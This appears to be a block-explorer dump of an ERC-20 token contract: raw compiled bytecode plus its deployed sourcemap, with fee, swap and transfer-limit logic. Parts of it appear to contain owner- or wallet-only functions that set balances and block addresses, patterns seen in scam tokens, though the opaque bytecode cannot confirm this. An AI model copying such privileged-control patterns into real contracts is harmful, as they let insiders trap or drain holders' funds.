fe3b4186f6b6457e060405160405180910390a350565b602060179054906101000a900460ff1681565b60015481565b600080828461283c9190614536565b905083811015612881576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161287890614361565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612903576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128fa90614401565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612973576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161296a90614341565b60405180910390fd5b80600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051612a519190614421565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612acf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ac6906143e1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612b3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b3690614321565b60405180910390fd5b602060149054906101000a900460ff1615612b6657612b5f848484613142565b905061308d565b600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612c0a5750600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612c5557601c54821115612c54576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c4b90614381565b60405180910390fd5b5b6000612c6030611d30565b90506000601e548210159050808015612c865750602060149054906101000a900460ff16155b8015612cdc5750600d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015612cf45750602060159054906101000a900460ff165b15612d1e57602060169054906101000a900460ff1615612d1457601e5491505b612d1d82613315565b5b612d2786613506565b15612dc257612d7e84600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130f890919063ffffffff16565b600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612e655750600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612e7957612e74878787613549565b612e7b565b845b9050602060179054906101000a900460ff168015612ee35750600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612f1257601d54612f0682612ef889611d30565b61282d90919063ffffffff16565b1115612f1157600080fd5b5b600080612f1d575060015b15612f8b57600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612f8a5760018015612f80575060005b612f8957600080fd5b5b5b612fdd81600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461282d90919063ffffffff16565b600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161307d9190614421565b60405180910390a3600193505050505b9392505050565b60008383111582906130dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016130d391906142ff565b60405180910390fd5b50600083856130eb9190614617565b9050809150509392505050565b600061313a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250613094565b905092915050565b60006131cd826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130949092919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061326282600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461282d90919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516133029190614421565b60405180910390a3600190509392505050565b6001602060146101000a81548160ff021916908315150217905550600061336e6002613360601a546133526015548761377090919063ffffffff16565b6137eb90919063ffffffff16565b6137eb90919063ffffffff16565b9050600061338582846130f890919063ffffffff16565b905061339081613835565b600047905060006133c16133b060026015546137eb90919063ffffffff16565b601a546130f890919063ffffffff16565b905060006133ff60026133f1846133e36015548861377090919063ffffffff16565b6137eb90919063ffffffff16565b6137eb90919063ffffffff16565b9050600061342a8361341c6017548761377090919063ffffffff16565b6137eb90919063ffffffff16565b905060006134538261344585886130f890919063ffffffff16565b6130f890919063ffffffff16565b9050600081111561348b5761348a600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682613ac0565b5b60008211156134c1576134c0600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683613ac0565b5b6000831180156134d15750600087115b156134e1576134e08784613b0b565b5b505050505050506000602060146101000a81548160ff02191690831515021790555050565b60008173ffffffffffffffffffffffffffffffffffffffff1661352a600154613bff565b73ffffffffffffffffffffffffffffffffffffffff1614159050919050565b60008060009050600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156135d1576135ca60646135bc6018548661377090919063ffffffff16565b6137eb90919063ffffffff16565b905061364f565b600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561364e5761364b606461363d6019548661377090919063ffffffff16565b6137eb90919063ffffffff16565b90505b5b6000811115613753576136aa81600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461282d90919063ffffffff16565b600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161374a9190614421565b60405180910390a35b61376681846130f890919063ffffffff16565b9150509392505050565b60008083141561378357600090506137e5565b6000828461379191906145bd565b90508284826137a0919061458c565b146137e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016137d7906143a1565b60405180910390fd5b809150505b92915050565b600061382d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613c11565b905092915050565b6000600267ffffffffffffffff81111561385257613851614864565b5b6040519080825280602002602001820160405280156138805781602001602082028036833780820191505090505b509050308160008151811061389857613897614835565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561393a57600080fd5b505afa15801561394e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906139729190613d6a565b8160018151811061398657613985614835565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506139ed30601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684612893565b601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401613a5195949392919061446c565b600060405180830381600087803b158015613a6b57600080fd5b505af1158015613a7f573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051613ab492919061443c565b60405180910390a15050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015613b06573d6000803e3d6000fd5b505050565b613b3830601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684612893565b601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719823085600080613b84611fe7565b426040518863ffffffff1660e01b8152600401613ba696959493929190614268565b6060604051808303818588803b158015613bbf57600080fd5b505af1158015613bd3573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190613bf89190613f77565b5050505050565b6000613c0a82613c74565b9050919050565b60008083118290613c58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613c4f91906142ff565b60405180910390fd5b5060008385613c67919061458c565b9050809150509392505050565b6000819050919050565b600081359050613c8d81614ae9565b92915050565b600081519050613ca281614ae9565b92915050565b60008083601f840112613cbe57613cbd614898565b5b8235905067ffffffffffffffff811115613cdb57613cda614893565b5b602083019150836020820283011115613cf757613cf661489d565b5b9250929050565b600081359050613d0d81614b00565b92915050565b600081359050613d2281614b17565b92915050565b600081519050613d3781614b17565b92915050565b600060208284031215613d5357613d526148a7565b5b6000613d6184828501613c7e565b91505092915050565b600060208284031215613d8057613d7f6148a7565b5b6000613d8e84828501613c93565b91505092915050565b60008060408385031215613dae57613dad6148a7565b5b6000613dbc85828601613c7e565b9250506020613dcd85828601613c7e565b9150509250929050565b600080600060608486031215613df057613def6148a7565b5b6000613dfe86828701613c7e565b9350506020613e0f86828701613c7e565b9250506040613e2086828701613d13565b9150509250925092565b60008060408385031215613e4157613e406148a7565b5b6000613e4f85828601613c7e565b9250506020613e6085828601613d13565b9150509250929050565b600080600060408486031215613e8357613e826148a7565b5b600084013567ffffffffffffffff811115613ea157613ea06148a2565b5b613ead86828701613ca8565b93509350506020613ec086828701613cfe565b9150509250925092565b600060208284031215613ee057613edf6148a7565b5b6000613eee84828501613cfe565b91505092915050565b600060208284031215613f0d57613f0c6148a7565b5b6000613f1b84828501613d13565b91505092915050565b600080600060608486031215613f3d57613f3c6148a7565b5b6000613f4b86828701613d13565b9350506020613f5c86828701613d13565b9250506040613f6d86828701613d13565b9150509250925092565b600080600060608486031215613f9057613f8f6148a7565b5b6000613f9e86828701613d28565b9350506020613faf86828701613d28565b9250506040613fc086828701613d28565b9150509250925092565b6000613fd68383613ff1565b60208301905092915050565b613feb8161465d565b82525050565b613ffa8161464b565b82525050565b6140098161464b565b82525050565b600061401a826144f1565b6140248185614514565b935061402f836144e1565b8060005b838110156140605781516140478882613fca565b975061405283614507565b925050600181019050614033565b5085935050505092915050565b6140768161466f565b82525050565b614085816146b2565b82525050565b614094816146c4565b82525050565b60006140a5826144fc565b6140af8185614525565b93506140bf8185602086016146fa565b6140c8816148ac565b840191505092915050565b60006140e0602383614525565b91506140eb826148bd565b604082019050919050565b6000614103602283614525565b915061410e8261490c565b604082019050919050565b6000614126601b83614525565b91506141318261495b565b602082019050919050565b6000614149602883614525565b915061415482614984565b604082019050919050565b600061416c602183614525565b9150614177826149d3565b604082019050919050565b600061418f602083614525565b915061419a82614a22565b602082019050919050565b60006141b2602583614525565b91506141bd82614a4b565b604082019050919050565b60006141d5602483614525565b91506141e082614a9a565b604082019050919050565b6141f48161469b565b82525050565b614203816146a5565b82525050565b600060208201905061421e6000830184614000565b92915050565b60006020820190506142396000830184613fe2565b92915050565b60006040820190506142546000830185614000565b6142616020830184614000565b9392505050565b600060c08201905061427d6000830189614000565b61428a60208301886141eb565b614297604083018761408b565b6142a4606083018661408b565b6142b16080830185614000565b6142be60a08301846141eb565b979650505050505050565b60006020820190506142de600083018461406d565b92915050565b60006020820190506142f9600083018461407c565b92915050565b60006020820190508181036000830152614319818461409a565b905092915050565b6000602082019050818103600083015261433a816140d3565b9050919050565b6000602082019050818103600083015261435a816140f6565b9050919050565b6000602082019050818103600083015261437a81614119565b9050919050565b6000602082019050818103600083015261439a8161413c565b9050919050565b600060208201905081810360008301526143ba8161415f565b9050919050565b600060208201905081810360008301526143da81614182565b9050919050565b600060208201905081810360008301526143fa816141a5565b9050919050565b6000602082019050818103600083015261441a816141c8565b9050919050565b600060208201905061443660008301846141eb565b92915050565b600060408201905061445160008301856141eb565b8181036020830152614463818461400f565b90509392505050565b600060a08201905061448160008301886141eb565b61448e602083018761408b565b81810360408301526144a0818661400f565b90506144af6060830185614000565b6144bc60808301846141eb565b9695505050505050565b60006020820190506144db60008301846141fa565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006145418261469b565b915061454c8361469b565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115614581576145806147a8565b5b828201905092915050565b60006145978261469b565b91506145a28361469b565b9250826145b2576145b16147d7565b5b828204905092915050565b60006145c88261469b565b91506145d38361469b565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561460c5761460b6147a8565b5b828202905092915050565b60006146228261469b565b915061462d8361469b565b9250828210156146405761463f6147a8565b5b828203905092915050565b60006146568261467b565b9050919050565b60006146688261467b565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006146bd826146d6565b9050919050565b60006146cf8261469b565b9050919050565b60006146e1826146e8565b9050919050565b60006146f38261467b565b9050919050565b60005b838110156147185780820151818401526020810190506146fd565b83811115614727576000848401525b50505050565b6000600282049050600182168061474557607f821691505b6020821081141561475957614758614806565b5b50919050565b600061476a8261469b565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561479d5761479c6147a8565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f5472616e7366657220616d6f756e74206578636565647320746865206d61785460008201527f78416d6f756e742e000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b614af28161464b565b8114614afd57600080fd5b50565b614b098161466f565b8114614b1457600080fd5b50565b614b208161469b565b8114614b2b57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220ae0e0ae4b681ac052742110ee667a82a269a60139ca55aa048bb9fc9235a083e64736f6c63430008070033

Deployed Bytecode Sourcemap

4304:15414:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14052:137;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8335:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9628:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4641:40;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6043:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8612:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14407:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11863:113;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4688:81;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13039:128;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12585:129;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8521:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12452:125;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8997:218;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5202:38;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12320:124;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5102:45;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4601:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5154:41;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6158:40;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5502:34;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13313:731;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10368:331;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5543:34;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11984:218;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8720:118;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16559:242;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10142:218;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5835:62;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5905:60;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5667:38;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5376:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5047:48;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3011:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10707:338;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8426:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9500:120;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5712:44;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9223:269;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12902:125;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5584:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14232:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11497:358;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5333:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12722:172;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5291:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6091:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5419:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4953:52;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5462:31;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6205:45;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5249:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8846:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5623:37;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12210:102;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4896:50;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3225:157;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6257:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4362:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14052:137;14127:8;:33;14149:10;14127:33;;;;;;;;;;;;;;;;;;;;;;;;;14121:66;;;14181:6;14161:8;:15;14170:5;14161:15;;;;;;;;;;;;;;;:26;;;;14121:66;14052:137;;:::o;8335:83::-;8372:13;8405:5;8398:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8335:83;:::o;9628:161::-;9703:4;9720:39;9729:12;:10;:12::i;:::-;9743:7;9752:6;9720:8;:39::i;:::-;9777:4;9770:11;;9628:161;;;;:::o;4641:40::-;;;;;;;;;;;;;:::o;6043:41::-;;;;;;;;;;;;;:::o;8612:100::-;8665:7;8692:12;;8685:19;;8612:100;:::o;14407:313::-;14505:4;14522:36;14532:6;14540:9;14551:6;14522:9;:36::i;:::-;;14569:121;14578:6;14586:12;:10;:12::i;:::-;14600:89;14638:6;14600:89;;;;;;;;;;;;;;;;;:11;:19;14612:6;14600:19;;;;;;;;;;;;;;;:33;14620:12;:10;:12::i;:::-;14600:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;14569:8;:121::i;:::-;14708:4;14701:11;;14407:313;;;;;:::o;11863:113::-;3148:12;:10;:12::i;:::-;3138:22;;:6;;;;;;;;;;:22;;;3130:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;11960:8:::1;11941:16;;:27;;;;;;;;;;;;;;;;;;11863:113:::0;:::o;4688:81::-;;;:::o;13039:128::-;13092:7;13119:40;13136:22;13146:11;13136:9;:22::i;:::-;13119:12;;:16;;:40;;;;:::i;:::-;13112:47;;13039:128;:::o;12585:129::-;3148:12;:10;:12::i;:::-;3138:22;;:6;;;;;;;;;;:22;;;3130:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12695:10:::1;12667:17;;:39;;;;;;;;;;;;;;;;;;12585:129:::0;:::o;8521:83::-;8562:5;8587:9;;;;;;;;;;;8580:16;;8521:83;:::o;12452:125::-;3148:12;:10;:12::i;:::-;3138:22;;:6;;;;;;;;;;:22;;;3130:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12558:10:::1;12537;;:32;;;;;;;;;;;;;;;;;;12452:125:::0;:::o;8997:218::-;9085:4;9102:83;9111:12;:10;:12::i;:::-;9125:7;9134:50;9173:10;9134:11;:25;9146:12;:10;:12::i;:::-;9134:25;;;;;;;;;;;;;;;:34;9160:7;9134:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;9102:8;:83::i;:::-;9203:4;9196:11;;8997:218;;;;:::o;5202:38::-;;;;;;;;;;;;;;;;;;;;;;:::o;12320:124::-;3148:12;:10;:12::i;:::-;3138:22;;:6;;;;;;;;;;:22;;;3130:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12428:8:::1;12402:23;:34;;;;12320:124:::0;:::o;5102:45::-;;;;;;;;;;;;;;;;;;;;;;:::o;4601:33::-;;;;;;;;;;;;;:::o;5154:41::-;;;;;;;;;;;;;;;;;;;;;;:::o;6158:40::-;;;;;;;;;;;;;:::o;5502:34::-;;;;:::o;13313:731::-;13393:22;3148:12;:10;:12::i;:::-;3138:22;;:6;;;;;;;;;;:22;;;3130:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;13430:35:::1;13487:16;13430:74;;13553:16;:24;;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13535:53;;;13597:4;13604:16;:21;;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13535:93;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13518:110;;13670:1;13644:28;;:14;:28;;;13641:200;;;13733:16;:24;;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13715:74;;;13798:4;13805:16;:21;;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13715:114;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13698:131;;13641:200;13867:14;13853:11;;:28;;;;;;;;;;;;;;;;;;13910:16;13892:15;;:34;;;;;;;;;;;;;;;;;;13984:4;13940:19;:41;13968:11;;;;;;;;;;;13940:41;;;;;;;;;;;;;;;;:48;;;;;;;;;;;;;;;;;;14032:4;13999:8;:30;14016:11;;;;;;;;;;;13999:30;;;;;;;;;;;;;;;;:37;;;;;;;;;;;;;;;;;;13417:627;13313:731:::0;;;:::o;10368:331::-;3148:12;:10;:12::i;:::-;3138:22;;:6;;;;;;;;;;:22;;;3130:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;10508:15:::1;10489:16;:34;;;;10553:15;10534:16;:34;;;;10593:10;10579:11;:24;;;;10636:55;10679:11;;10636:38;10657:16;;10636;;:20;;:38;;;;:::i;:::-;:42;;:55;;;;:::i;:::-;10616:17;:75;;;;10368:331:::0;;;:::o;5543:34::-;;;;:::o;11984:218::-;3148:12;:10;:12::i;:::-;3138:22;;:6;;;;;;;;;;:22;;;3130:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12090:9:::1;12086:109;12109:6;;:13;;12105:1;:17;12086:109;;;12177:6;12144:19;:30;12164:6;;12171:1;12164:9;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;12144:30;;;;;;;;;;;;;;;;:39;;;;;;;;;;;;;;;;;;12124:3;;;;;:::i;:::-;;;;12086:109;;;;11984:218:::0;;;:::o;8720:118::-;8786:7;8813:8;:17;8822:7;8813:17;;;;;;;;;;;;;;;;8806:24;;8720:118;;;:::o;16559:242::-;16682:10;16630:62;;:10;;;;;;;;;;;:62;;;16626:168;;;16710:9;16706:77;16729:2;;:9;;16725:1;:13;16706:77;;;16775:6;16760:5;:12;16766:2;;16769:1;16766:5;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;16760:12;;;;;;;;;;;;;;;;:21;;;;;;;;;;;;;;;;;;16740:3;;;;;:::i;:::-;;;;16706:77;;;;